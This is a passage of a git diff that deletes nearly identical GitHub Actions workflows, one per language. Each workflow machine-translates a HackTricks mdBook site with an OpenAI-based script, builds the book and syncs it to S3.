diff --git a/.github/workflows/translate_af.yml b/.github/workflows/translate_af.yml deleted file mode 100644 index 804afe44d..000000000 --- a/.github/workflows/translate_af.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to AF (Afrikaans) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: af - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Afrikaans - BRANCH: af - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.12 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - mkdir scripts - cd scripts - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete diff --git a/.github/workflows/translate_de.yml b/.github/workflows/translate_de.yml deleted file mode 100644 index 2f83fefa1..000000000 --- a/.github/workflows/translate_de.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to DE (German) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: de - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: German - BRANCH: de - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.12 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - mkdir scripts - cd scripts - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete diff --git a/.github/workflows/translate_el.yml b/.github/workflows/translate_el.yml deleted file mode 100644 index 8857a75b9..000000000 --- a/.github/workflows/translate_el.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to EL (Greek) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: el - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Greek - BRANCH: el - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.12 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - mkdir scripts - cd scripts - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_es.yml b/.github/workflows/translate_es.yml deleted file mode 100644 index 8322446a9..000000000 --- a/.github/workflows/translate_es.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to ES (Spanish) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: es - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Spanish - BRANCH: es - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.12 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - mkdir scripts - cd scripts - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete diff --git a/.github/workflows/translate_fr.yml b/.github/workflows/translate_fr.yml deleted file mode 100644 index 046fe3b20..000000000 --- a/.github/workflows/translate_fr.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to FR (French) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: fr - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: French - BRANCH: fr - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.12 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - mkdir scripts - cd scripts - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete diff --git a/.github/workflows/translate_it.yml b/.github/workflows/translate_it.yml deleted file mode 100644 index b5b4ec27c..000000000 --- a/.github/workflows/translate_it.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to IT (Italian) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: it - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Italian - BRANCH: it - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.12 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - mkdir scripts - cd scripts - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_ja.yml b/.github/workflows/translate_ja.yml deleted file mode 100644 index 9c635e1da..000000000 --- a/.github/workflows/translate_ja.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to JA (Japanese) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: ja - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Japanese - BRANCH: ja - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.12 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - mkdir scripts - cd scripts - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete diff --git a/.github/workflows/translate_ko.yml b/.github/workflows/translate_ko.yml deleted file mode 100644 index d39c84266..000000000 --- a/.github/workflows/translate_ko.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to KO (Korean) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: ko - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Korean - BRANCH: ko - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.12 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - mkdir scripts - cd scripts - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_pl.yml b/.github/workflows/translate_pl.yml deleted file mode 100644 index 0dd53dd0c..000000000 --- a/.github/workflows/translate_pl.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to PL (Polish) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: pl - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Polish - BRANCH: pl - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.12 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - mkdir scripts - cd scripts - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_pt.yml b/.github/workflows/translate_pt.yml deleted file mode 100644 index e8842d728..000000000 --- a/.github/workflows/translate_pt.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to PT (Portuguese) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: pt - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Portuguese - BRANCH: pt - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.12 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - mkdir scripts - cd scripts - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete diff --git a/.github/workflows/translate_sr.yml b/.github/workflows/translate_sr.yml deleted file mode 100644 index 4f80bc8d3..000000000 --- a/.github/workflows/translate_sr.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to SR (Serbian) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: sr - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Serbian - BRANCH: sr - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.12 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - mkdir scripts - cd scripts - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_sw.yml b/.github/workflows/translate_sw.yml deleted file mode 100644 index 4c63a2558..000000000 --- a/.github/workflows/translate_sw.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to SW (Swahili) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: sw - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - 